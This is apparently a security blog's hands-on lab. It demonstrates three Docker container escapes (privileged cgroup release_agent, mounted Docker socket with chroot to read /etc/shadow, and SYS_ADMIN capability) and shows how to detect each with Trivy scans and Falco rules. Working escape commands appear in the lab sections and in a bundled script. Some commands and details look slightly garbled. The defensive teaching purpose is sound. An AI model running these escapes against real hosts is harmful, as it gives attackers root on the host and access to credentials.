Three escape paths detected statically by Trivy and at runtime by Falco.
🔎 Last updated · Editorial policy · Report an error
{
“@context”: “https://schema.org”,
“@type”: “BlogPosting”,
“headline”: “Break Out of Your Own Container: Docker Escape and Misconfiguration Lab with Trivy and Falco”,
“description”: “Hands-on lab: simulate privileged-container, Docker socket-mount, and capability-based container escapes, then detect each misconfiguration with Trivy and Falco.”,
“keywords”: “docker container escape lab, trivy, falco, container security”,
“author”: {“@type”: “Organization”, “name”: “HMMNM Security”},
“publisher”: {“@type”: “Organization”, “name”: “HMMNM Security”, “url”: “https://hmmnm.com”}
}
TL;DR: How Do Attackers Escape Docker Containers, and How Do You Catch It?
Most container escapes aren’t kernel exploits—they’re self-inflicted wounds. Three misconfigurations enable the overwhelming majority of breakouts: running containers with --privileged, mounting the Docker socket (/var/run/docker.sock) into a container, and granting dangerous capabilities like SYS_ADMIN. Each hands the container effective root on the host. You catch them two ways: statically, with Trivy’s misconfiguration scanning before deployment, and at runtime, with Falco rules that fire the moment breakout behavior starts. This lab walks you through executing all three escapes in an isolated environment—then detecting every one of them.
Lab Environment Setup
Container escape testing is genuinely dangerous on shared infrastructure. You’re deliberately breaking isolation—do it somewhere disposable.
Requirements:
- A dedicated Linux VM (Ubuntu 22.04/24.04 works well) with 2+ vCPUs and 4GB RAM
- VM snapshots taken before each lab—restore freely
- No SSH keys, cloud credentials, or production network access on the VM
- VirtualBox, VMware, or an isolated cloud subnet with no peering to production
Install Docker and the detection tooling:
curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker $USER && newgrp docker
# Trivy - static misconfiguration and vulnerability scanning
sudo apt-get install wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/trivy.list
sudo apt-get update && sudo apt-get install trivy
# Falco - runtime threat detection
curl -s https://falco.org/repo/falcosecurity-3672ba8f.asc | sudo apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" | sudo tee /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update && sudo apt-get install -y falco
Snapshot the VM now. Every escape below assumes you can roll back in thirty seconds.
Escape Lab 1: Privileged Container Escape
The --privileged flag removes nearly every isolation boundary Docker enforces: full device access, unrestricted capabilities, no seccomp filtering, no AppArmor confinement. It exists for Docker-in-Docker and hardware-access workloads—and it’s routinely slapped onto containers by developers who hit a permission error.
Launch the vulnerable container:
docker run -it --rm --privileged alpine sh
From inside, confirm you can see host block devices:
ls /dev/sd*
fdisk -l
Now the classic cgroup release_agent escape, which works on cgroup v1 hosts:
# Mount the host cgroup filesystem and enable notify_on_release
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# Find the host path of the overlay
cat /proc/self/mountinfo | grep /etc/host | awk '{print $5}'
host_path=$(sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab)
# Point release_agent at a script that runs on the HOST as root
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh
ps aux > '"$host_path"'/output' > /cmd
chmod a+x /cmd
# Trigger it
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
cat /output
When /output appears containing the host’s process list, you’ve escaped. The kernel executed your script in the host namespace as root—because a privileged container was allowed to mount and write to the cgroup filesystem. This technique is catalogued in the GTFOBins-style containers reference at jsok/privileged-containers, and it’s precisely why CISA’s guidance warns against privileged mode outside tightly controlled workloads (see NSA/CISA Kubernetes Hardening Guidance, August 2022).
Escape Lab 2: Docker Socket Mount Escape
Mounting /var/run/docker.sock into a container—standard practice for CI/CD images like DinD wrappers and Traefik-adjacent tooling—is functionally equivalent to giving that container root on the host. The socket speaks the Docker API, and the Docker API can create containers with any flags it wants, including --privileged.
docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh
Inside the container, install a Docker client and instantiate a privileged container that mounts the host filesystem:
apk add docker-cli
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host -v /:/host alpine sh
You’re now in a second container with the host root filesystem mounted at /host and the host PID namespace visible. From here, host compromise is trivial:
chroot /host sh
# You are now root on the host
cat /etc/shadow
Notice the elegance of this attack: it uses the Docker daemon—legitimately, per the API—to defeat Docker entirely. No kernel exploit, no CVE. OWASP’s Docker Security Cheat Sheet (cheatsheetseries.owasp.org) calls out socket exposure explicitly as a top risk for exactly this reason.
Escape Lab 3: Dangerous Capabilities (SYS_ADMIN, CAP_NET_ADMIN)
You don’t need full --privileged to escape. Linux divides root’s powers into capabilities, and CAP_SYS_ADMIN is the notorious one—it permits mount operations, which is all the cgroup escape needs.
docker run -it --rm --cap-add SYS_ADMIN alpine sh
The same cgroup release_agent technique from Lab 1 works here, because CAP_SYS_ADMIN grants the mount syscall. Alternatively, use the unshare variant with cgroup namespaces:
capsh --print # verify effective capabilities
# Then repeat the cgroup mount/release_agent steps from Lab 1
CAP_NET_ADMIN is less directly an escape primitive, but it enables network namespace manipulation, ARP spoofing between containers, and traffic interception—useful in a lateral-movement chain once you’re on the container bridge. Docker’s default capability set (docs.docker.com) deliberately excludes SYS_ADMIN; every --cap-add is a conscious decision to widen the attack surface.
Why These Escapes Work: The Container Security Model
Containers aren’t VMs. There’s no hypervisor boundary—just the Linux kernel’s isolation primitives:
- Namespaces restrict visibility: PID, network, mount, UTS, IPC, and user namespaces make each container see its own isolated view of the system.
- cgroups restrict resources: CPU, memory, and I/O limits prevent noisy-neighbor and resource-exhaustion attacks.
- Capabilities restrict privilege: root inside the container is a stripped-down root with only a subset of kernel powers.
- Seccomp and LSMs (AppArmor/SELinux) restrict syscalls and behavior: Docker’s default seccomp profile blocks ~44 dangerous syscalls out of the box.
Here’s the critical insight: none of these are security boundaries against the kernel itself—only against misbehaving userspace. When you add --privileged, mount the socket, or grant CAP_SYS_ADMIN, you’re voluntarily switching those controls off. The default hardening fails precisely because the flags override it. A container with default settings would have failed all three labs above at the first mount syscall.
Detecting Misconfigurations with Trivy
Trivy—now maintained under Aquasecurity/Ansible-adjacent stewardship as part of the Trivy project—scans images, filesystems, and IaC configs for exactly the misconfigurations this lab exploits. Shift the detection left, before the vulnerable container ever runs.
Scan the image and configuration:
trivy image alpine
trivy config ./deployment/ # IaC scanning (Dockerfile, K8s manifests, Terraform)
trivy fs --scanners misconfig .
Write a Dockerfile that reproduces Lab 2’s mistake:
FROM alpine
VOLUME /var/run/docker.sock
CMD ["sh"]
Trivy’s misconfiguration scanner flags socket mounts with findings like:
Dockerfile (dockerfile)
================================
Tests: 24 (SUCCESSES: 22, FAILURES: 2)
Failures: 2 (HIGH: 2)
HIGH: socket volume mounted into container
══════════════════════════════════════════
Mounting the Docker socket gives the container
full control over the Docker daemon and the host.
See https://avd.aquasec.com/misconfig/ds002
--------------------------------
dockerfile:2
--------------------------------
2 | VOLUME /var/run/docker.sock
Trivy’s container-focused checks cover: privileged mode, dangerous capability additions, socket mounts, host PID/network namespace sharing, and --volume / host mounts. For Kubernetes deployments, the same scanner evaluates pod specs against controls like allowPrivilegeEscalation: false and privileged: true. The key practice: run trivy config in CI so these findings block merge, not just appear in a report nobody reads.
Runtime Detection with Falco
Static scanning can’t catch a developer running docker run --privileged by hand at 2 a.m. Falco taps kernel syscalls and matches them against rules—it’s the CNCF runtime detection tool of record (falco.org).
Each lab generates a distinct behavioral fingerprint:
Lab 1 (privileged container): privileged containers are rare enough that their creation is itself an alert-worthy event.
# Custom rule
- macro: privileged_container
condition: (container and container.privileged=true)
- rule: Privileged Container Started
desc: Detect launch of a privileged container
condition: spawned_process and privileged_container
output: "Privileged container started (user=%user.name
container=%container.name image=%container.image.repository)"
priority: WARNING
Lab 1 and 3 (cgroup escape behavior): writes to release_agent are nearly always hostile.
- rule: Write to release_agent
desc: Detect writes to cgroup release_agent (container escape technique)
condition: >
open_write and
fd.name endswith /release_agent and
container
output: "release_agent write from container (user=%user.name
container=%container.id command=%proc.cmdline)"
priority: CRITICAL
tags: [container, escape, mitre_t1611]
Lab 2 (socket access): Falco’s stock rules include alerts for container tools launched inside containers and socket access from unexpected processes. The Container Drift and Docker or Container Tool Spawned in Container rules both fire during this lab.
- rule: Docker Socket Accessed From Container
condition: >
evt.type=connect and fd.type=unix_socket and
fd.name=/var/run/docker.sock and container
output: "Container connected to Docker socket (container=%container.name
proc=%proc.cmdline)"
priority: CRITICAL
Watch alerts live: sudo falco. Re-run each lab and you’ll see CRITICAL events within seconds. Falco’s rule mapping to MITRE ATT&CK includes T1611 (Escape to Host), which maps cleanly into SOC taxonomy.
Hardening Checklist: Preventing Container Escape
- Never use
--privilegedin production. If Docker-in-Docker is genuinely required, isolate it on ephemeral CI runners only. - Never mount
/var/run/docker.sock. Use the Docker API over an authenticated, TLS-protected TCP endpoint with RBAC (e.g., via a proxy like Tecnativa/docker-socket-proxy), or rootless Podman. - Drop capabilities explicitly:
--cap-drop=ALL --cap-add=NET_BIND_SERVICE. Grant only what’s provably needed. - Enforce non-root:
--user 1000:1000and aUSERdirective in every Dockerfile. Addno-new-privileges:truein daemon.json. - Keep seccomp and LSM defaults on. Don’t disable AppArmor/SELinux profiles; apply custom profiles to high-risk workloads.
- Use rootless containers (Rootless Docker or Podman) so even a successful escape lands in an unprivileged user namespace.
- Scan in CI with Trivy on every build; gate deployments on misconfig and critical CVE findings.
- Run Falco (or Falco Talos/eBPF variants) cluster-wide with escape-relevant rules set to CRITICAL and routed to your SIEM.
Blue-Team Takeaways and Detection Playbook
| Misconfiguration | Static Signal (Trivy) | Runtime Signal (Falco) | Response Step |
|---|---|---|---|
| Privileged container | Dockerfile/K8s manifest flags privileged: true |
Privileged container spawn event; cgroup mount syscalls | Terminate container, identify owner, remediate manifest, review host for persistence |
| Docker socket mount | DS002-class finding on socket volume | Unix socket connect from container; docker binary spawned in container | Assume host compromise; rotate daemon credentials, audit docker ps -a for rogue containers, rebuild host |
| CAP_SYS_ADMIN / dangerous caps | Capability findings in config scan | Mount syscalls from container; writes to release_agent; unshare execution |
Stop container, drop capabilities in deployment, hunt for host-side artifacts written during the escape window |
Operationalize this: pipe Falco alerts into your SIEM with container metadata (image, workload owner, namespace) so the on-call analyst can triage in seconds, not minutes. Then write each Trivy misconfiguration into your CI policy so the same misconfigs can never reach the runtime layer again. Detection catches the escape—prevention makes sure you never need the detection. Do both.
Frequently Asked Questions
What is a Docker container escape?
An attack where a process breaks container isolation to execute code or gain access on the host system. Once out, the attacker typically holds root on the host and every container running on it.
Is it safe to run containers with –privileged?
Almost never in production; it removes nearly all isolation and enables direct host compromise. Reserve it for isolated, ephemeral environments like CI runners.
Why is mounting /var/run/docker.sock a security risk?
It grants the container full Docker daemon control, allowing creation of privileged host-level containers. As Lab 2 shows, that’s a complete host compromise with a three-line command.
Can Trivy detect container escape risks?
Yes—Trivy’s misconfiguration scanning flags risky Dockerfile/Kubernetes configs and vulnerable images, but runtime escapes need Falco or similar. Use both: Trivy at build time, Falco at runtime.
How do I practice container escapes safely?
Use an isolated lab VM with snapshots, no sensitive data, and no access to production networks. Restore the snapshot after each exercise and treat every escape as if the host were burned—because in a real incident, it would be.
Related reading
#!/bin/bash
set -euo pipefail
# Docker
curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker $USER && newgrp docker
# Trivy - static misconfiguration and vulnerability scanning
sudo apt-get install -y wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/trivy.list
sudo apt-get update && sudo apt-get install -y trivy
# Falco - runtime threat detection
curl -s https://falco.org/repo/falcosecurity-3672ba8f.asc | sudo apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" | sudo tee /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update && sudo apt-get install -y falco
echo "Setup complete. Snapshot the VM before running escape labs."Installs Docker, Trivy, and Falco on an Ubuntu VM for the container escape lab
#!/bin/bash
set -euo pipefail
# ---- Lab 1: Privileged container escape (cgroup release_agent, cgroup v1) ----
docker run --rm --privileged alpine sh -c '
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n "s/.*perdir=([^,]*).*/\1/p" /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh\nps aux > $host_path/output" > /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /output
'
# ---- Lab 2: Docker socket mount escape ----
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock alpine sh -c '
apk add docker-cli
docker -H unix:///var/run/docker.sock run --rm --privileged --pid=host -v /:/host alpine sh -c "chroot /host sh -c cat /etc/hostname"
'
# ---- Lab 3: SYS_ADMIN capability escape ----
docker run --rm --cap-add SYS_ADMIN alpine sh -c '
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n "s/.*perdir=([^,]*).*/\1/p" /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh\nps aux > $host_path/output" > /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /output
'
# ---- Detection: static misconfig scan with Trivy ----
echo "# WARNING: privileged:true" > Dockerfile.bad
echo "FROM alpine" >> Dockerfile.bad
echo "RUN apk add docker-cli" >> Dockerfile.bad
trivy config Dockerfile.bad
# ---- Detection: runtime with Falco (run on host) ----
sudo falco &
sleep 3
# Re-run any escape above; Falco alerts on privileged container and sensitive mount eventsRuns privileged, docker-socket, and SYS_ADMIN escape demos plus Trivy detection
Check your understanding
1. Why does mounting the Docker socket into a container effectively grant root on the host?
2. What is the key difference between Trivy and Falco as used in this lab?
3. According to the article, most container escapes result from what?
4. Why does the lab insist on a disposable VM with snapshots?
Your answers stay in this browser only.

